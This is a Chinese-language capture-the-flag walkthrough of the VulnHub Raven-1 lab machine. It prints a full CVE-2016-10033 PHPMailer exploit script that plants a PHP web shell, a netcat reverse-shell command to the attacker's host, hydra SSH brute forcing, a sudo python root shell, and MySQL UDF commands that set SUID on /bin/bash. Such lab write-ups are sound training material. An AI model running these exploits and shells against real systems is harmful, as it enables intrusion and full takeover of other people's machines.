vulnhub靶场【Raven系列】之1,mysql udf提权

admin 2025年1月15日19:04:36评论24 views字数 7093阅读23分38秒阅读模式

前言

靶机:Raven-1,IP地址为192.168.10.16

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

文章所用靶机来自vulnhub,可通过官网下载,或者在本公众号回复raven1获取下载链接

主机发现

因为都处于同一局域网、同一网卡、同一网段,并且因为桥接模式,扫描出的结果很多,所以决定采用arp-scan -l或者netdiscover -r 192.168.10.1/24扫描网段中的存活主机。

若想要模拟真实,可以采用nmap等工具

vulnhub靶场【Raven系列】之1,mysql udf提权

信息收集

使用nmap扫描端口

vulnhub靶场【Raven系列】之1,mysql udf提权

网站信息探测

访问80端口默认界面,可以看到这种类型的网站,很像是现在的静态html界面

查看页面源代码,发现blog这个不是html,而是目录,名为wordpress,并且contactphp,也就是contact.php

vulnhub靶场【Raven系列】之1,mysql udf提权

可点的菜单都点一下,再点击blog,跳转到wordpress界面,不过内容的显示有问题

vulnhub靶场【Raven系列】之1,mysql udf提权

当点击hello world时,跳转到一个域名,因为这里是靶机,所以只有一个ip地址,把这个ip绑定到本地的hosts文件中,本地解析即可,windowslinux对于这个文件的位置不同

windowsC:WindowsSystem32driversetchosts

下面我以linux为例添加,在/etc/hosts这里添加即可

vulnhub靶场【Raven系列】之1,mysql udf提权

这时候再访问即可发现已经成功

vulnhub靶场【Raven系列】之1,mysql udf提权

可以再使用whatweb进一步确定是否为wordpress

vulnhub靶场【Raven系列】之1,mysql udf提权

既然已经知道是wordpress,那么使用针对该CMS的工具wpscan进行测试,发现xmlrpc.php是开启的,并且wordpress的版本确实为4.8.7

wpscan --url http://raven.local/wordpress
vulnhub靶场【Raven系列】之1,mysql udf提权

进一步测试,看能否枚举出一些用户,发现用户michaelsteven

wpscan --url http://raven.local/wordpress -e u
vulnhub靶场【Raven系列】之1,mysql udf提权

尝试进行密码破解,但是时间太长,估计不是这个方法,再尝试枚举插件,看能否有可利用的,发现还是没有

wpscan --url http://raven.local/wordpress --detection-mode aggressive --plugins-detection aggressive
vulnhub靶场【Raven系列】之1,mysql udf提权

漏洞寻找

回到刚开始的界面,那里的contact.php,不过先进行目录爆破,然后在爆破的时候进行测试

这里采用gobuster进行爆破,等待一会,发现一个压缩包和未有的目录

gobuster dir -u http://192.168.10.16 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md,zip,tar -d -b 404,403
#-d 参数,就是寻找备份文件格式
vulnhub靶场【Raven系列】之1,mysql udf提权

使用ffuf进行参数测试,假设有路径遍历,发现一个传参action

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://raven.local/contact.php?FUZZ=../../../../etc/passwd
vulnhub靶场【Raven系列】之1,mysql udf提权

但是在浏览器测试,发现是多出一串字符提示,说是确实字段,可能这里的传参不止一个,需要同时具有这些传参才行

vulnhub靶场【Raven系列】之1,mysql udf提权

因为是在contact.php界面,所以把这个页面中的留言也测试一下,通过burp抓取发送时的数据包

抓取到一个mail.php,并且感觉这里的参数就是提示中缺失的字段

vulnhub靶场【Raven系列】之1,mysql udf提权

经过参数测试,发现当nameemailmessage三个参数存在时,就会提示"信息已发送"

vulnhub靶场【Raven系列】之1,mysql udf提权

但是这里在message中写入什么都没有回显啊,尝试访问mail.php,发现提示404,但是提交的时候确实有这个文件。后面再抓包,发现原来是漏抓了,不过这里的数据包也可以

思考一下,只有这个界面是php的,还涉及到email

这时候,目录也扫描完毕了,把图片放在上面对应的命令处

查看一下service.html,发现原界面没发现,但是在页面源代码的最后,发现一个flag

vulnhub靶场【Raven系列】之1,mysql udf提权

把压缩包contact.zip下载并查看,解压后,发现是contact.php的源码,发现参数与前面猜测的一样,并且还出现一个php文件,提示是phpmailer

vulnhub靶场【Raven系列】之1,mysql udf提权

百度搜索,这是php中的一个库,用于发送邮件的

查看vendor目录,发现这里面包含phpmailer的信息,可以从这里下手

vulnhub靶场【Raven系列】之1,mysql udf提权

查看VERSION发现是对应的版本号5.2.16

查看SECURITY.md发现,这里面竟然包含版本对应的漏洞,设置编号都给出了

vulnhub靶场【Raven系列】之1,mysql udf提权

漏洞利用

phpmailer漏洞

而根据版本,恰好在给出的版本漏洞范围,"低于 5.2.18 的 PHPMailer 版本(2016 年 12 月发布)容易受到 [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) 远程代码执行漏洞的影响"

对于该漏洞的分析,可以自行百度搜索,这里直接通过searchsploit搜索,然后查看其中的用法,或者点击给出的链接,其中包含多个漏洞解析及用法的。

图中标注的,是通过链接搜索的,对应着的漏洞编号

这个漏洞还可用于wordpress在进行忘记密码时的操作

vulnhub靶场【Raven系列】之1,mysql udf提权

查看对应的脚本代码,这里是构建好的,执行脚本时,带着靶机地址和存在漏洞的页面即可

不过测试,发现这个不适合,查看代码,发现问题,因为查看前面文档中的安全问题,对应版本的链接时,说的是具有安全隐患的,而这里的构造语句,并没有,所以不行,更改语句即可

这里提供更改后的代码,如下

#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033

echo '[+] CVE-2016-10033 exploit by opsxcq'

if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi

host=$1

echo '[+] Exploiting '$host

curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="action"rnrnsubmitrn------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="name"rnrn<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>rn------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="email"rnrn"vulnerables\" -OQueueDirectory=/tmp -X/var/www/html/ppp.php server" @test.comrn------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="message"rnrnPwnedrn------WebKitFormBoundaryzXJpHSq4mNy35tHe--rn' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/ppp.php'

cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'

主要修改地方在name="email"后面的数据以及目录地址/var/www/html

当然,在github上也有可直接使用的,地址为https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/exploit.sh,而且搜索出的python脚本也是可以直接使用的,不过在访问时,记得访问192.168.10.16/ppp.php

该脚本是通过base64进行的传递,所以,命令要进行base64编码的

先执行脚本,可能如下,但是不用管,是已经上传成功的。访问192.168.10.16/ppp.php即可,这里的提示不用管它

vulnhub靶场【Raven系列】之1,mysql udf提权

访问即可观察到,这里的aWQ=是命令id的,所以会这样显示,说明成功

vulnhub靶场【Raven系列】之1,mysql udf提权

那么尝试写入一个反弹shell,然后进行base64编码,测试常用的bash命令不行,就以nc

nc -e /bin/bash 192.168.10.2 9999
#编码
bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTAuMiA5OTk5

先在kali中开启监听9999端口,然后浏览器访问,即可反弹成功

vulnhub靶场【Raven系列】之1,mysql udf提权

ssh爆破

不过之前wpscan扫描出两个用户michaelsteven,结合既然wordpress爆破不出,使用hydra测试ssh

hydra -L user -P /usr/share/wordlists/rockyou.txt 192.168.10.16 ssh

很快就出现一个,让其继续爆破

vulnhub靶场【Raven系列】之1,mysql udf提权

登录这个账户,确实可行

vulnhub靶场【Raven系列】之1,mysql udf提权

回到网站目录,查看之前测试php mailer的脚本,发现脚本ppp.php

vulnhub靶场【Raven系列】之1,mysql udf提权

还有其他脚本,这里就不演示了

靶机内信息收集

查看/var/backups/var/log中并未有内容,或者无权限

查看/home目录下,只有michaelsteven两个用户,并且目录下都没有东西

查看内核版本等信息,发现对应的漏洞,但是因为编译时glibc版本问题,无法利用

uname -r 
cat /etc/issue
vulnhub靶场【Raven系列】之1,mysql udf提权

查看网络状态信息

vulnhub靶场【Raven系列】之1,mysql udf提权

发现数据库,那么尝试去登录,先去wordpress网站测试,一般网站存在与后端交互的情况,可能有数据库的连接信息

vulnhub靶场【Raven系列】之1,mysql udf提权

数据库连接的用户名root和密码R@v3nSecurity

不过在目录查看时,无意发现flag2

vulnhub靶场【Raven系列】之1,mysql udf提权

连接数据库,发现其中wordpress只有两个用户,不过另一个是以hydra还未破解出

vulnhub靶场【Raven系列】之1,mysql udf提权

尝试对steven的密码进行破解,这里可以先使用在线网站破解,cmd5.comsomd5.com

解出密码pink84

vulnhub靶场【Raven系列】之1,mysql udf提权

提权

sudo提权

使用find寻找具有SUID权限的文件,发现sudo,不过当前用户没有sudo权限

find / -perm -4000 -print 2>/dev/null
vulnhub靶场【Raven系列】之1,mysql udf提权

使用上面解出的steven密码切换到steven,然后再使用sudo,发现有一个可以

vulnhub靶场【Raven系列】之1,mysql udf提权

那么可以使用python导入然后获取shell

sudo python -c 'import os;os.system("/bin/bash")'
vulnhub靶场【Raven系列】之1,mysql udf提权

等会,flag4? 我前面只到flag2,3呢,我回头找找

最终发现,原来flag3在网站中,以steven登录后才能看到

mysql udf提权

关于概念,我放置在文章末尾,可自行查看

为什么考虑呢,因为发现连接数据库的竟然是root,这个默认的话,权限是有很大的

测试是否满足条件

show global variables like 'secure%';
vulnhub靶场【Raven系列】之1,mysql udf提权

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 2)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 3)如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

查看mysql的版本信息,确定需要知道插件的路径

vulnhub靶场【Raven系列】之1,mysql udf提权
show variables like '%plugin%';
vulnhub靶场【Raven系列】之1,mysql udf提权

kali中搜索漏洞

searchsploit mysql 5.0 udf
vulnhub靶场【Raven系列】之1,mysql udf提权

查看c文件,其中有用法

vulnhub靶场【Raven系列】之1,mysql udf提权

先在kali中编译为.so文件,因为在靶机测试,编译出问题,然后下载到靶机

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,test.so -o 1518.so 1518.o -lc
vulnhub靶场【Raven系列】之1,mysql udf提权

在靶机内连接数据库,执行下面命令

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /bin/bash');
vulnhub靶场【Raven系列】之1,mysql udf提权

这时候查询是否成功,并执行do_system(),以进行提取,当然这里不止这一种方式,对于其他的可以再尝试

vulnhub靶场【Raven系列】之1,mysql udf提权

查看/bin/bash的权限,发现确实是变为suid权限了,执行后,提取至root

vulnhub靶场【Raven系列】之1,mysql udf提权

总结

该靶场考察以下几点:

  1. 对于网站具有php文件,可进行模糊测试,可能具有隐藏参数
  2. 最好通过burp代理进行每一步操作,这样可根据数据包分析可能的步骤
  3. 对于php mailer漏洞的了解与利用,编号CVE-2016-10033
  4. ssh爆破的使用
  5. 对于解密操作,可通过john,这里是省事,采用网站识别的
  6. 提权方式这里就是因为连接mysql的用户权限过于大,并且还可以写入和导出,所以采用udf提权
  7. 对于sudo提权的了解

mysql udf 提权概念

「一、基本概念」

  • 「UDF(User-Defined Functions)」:用户自定义函数,是 MySQL 允许用户添加自定义函数的一种机制。这些自定义函数可以使用 C 或 C++ 语言编写,然后被编译为动态链接库(.so 文件,Linux 系统)或 DLL 文件(Windows 系统),再通过 CREATE FUNCTION 语句加载到 MySQL 服务器中,之后可以像内置函数一样使用它们。

「二、UDF 提权原理」

  • MySQL 服务在运行时,通常是以具有一定权限的用户身份运行,比如 mysql 用户或 root 用户。正常情况下,普通用户登录到 MySQL 后,权限是受到限制的,只能在数据库的范围内操作,无法对操作系统进行高权限操作。
  • 当存在 UDF 机制时,如果攻击者可以将一个精心编写的恶意 UDF 库文件上传到服务器,并且可以通过 MySQL 的 CREATE FUNCTION 命令将其加载到 MySQL 中,同时,如果 MySQL 进程以 root 权限运行,那么这个恶意 UDF 函数就可以调用操作系统级别的函数,从而实现权限提升。例如,通过 UDF 函数可以调用 system() 函数执行系统命令,从而实现对操作系统的高权限访问。

「三、利用条件」

  • 「文件权限」:攻击者需要有足够的权限将恶意的 UDF 库文件上传到 MySQL 服务器可以读取的目录,一般来说,需要有 FILE 权限,这个权限允许用户读写文件。在某些情况下,通过 LOAD_FILE() 和 INTO OUTFILE 函数可以实现文件的读写操作,进而上传恶意 UDF 库文件。
  • 「MySQL 运行用户权限」:MySQL 服务进程需要以高权限(如 root)运行,这样加载的 UDF 函数才能执行高权限操作。如果 MySQL 服务进程以低权限用户运行,即使加载了 UDF 函数,其执行的系统命令也只能在该低权限用户的权限范围内。

「四、利用步骤示例(仅为原理说明,请勿用于非法用途)」

  1. 「编写恶意 UDF 库文件」:使用 C 或 C++ 编写一个包含恶意函数的库文件,例如包含 sys_exec() 函数,该函数可以调用 system() 函数来执行系统命令。
  2. 「上传文件」:利用 LOAD_FILE() 和 INTO OUTFILE 或其他文件操作函数将恶意 UDF 库文件上传到 MySQL 可以访问的目录,如 /usr/lib/mysql/plugin/(不同系统可能不同)。
  3. 「加载 UDF 函数」:通过 CREATE FUNCTION 语句将恶意 UDF 函数加载到 MySQL 服务器。
CREATEFUNCTION sys_exec RETURNSSTRINGSONAME'udf.so';

「执行提权操作」:使用加载的 UDF 函数执行系统命令,实现提权。

SELECT sys_exec('chmod +s /bin/bash');

上述命令使用 sys_exec() 函数将 /bin/bash 的权限设置为 SUID,使得普通用户可以以 root 权限执行 /bin/bash,从而实现提权。

原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场【Raven系列】之1,mysql udf提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月15日19:04:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶场【Raven系列】之1,mysql udf提权https://cn-sec.com/archives/3632643.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息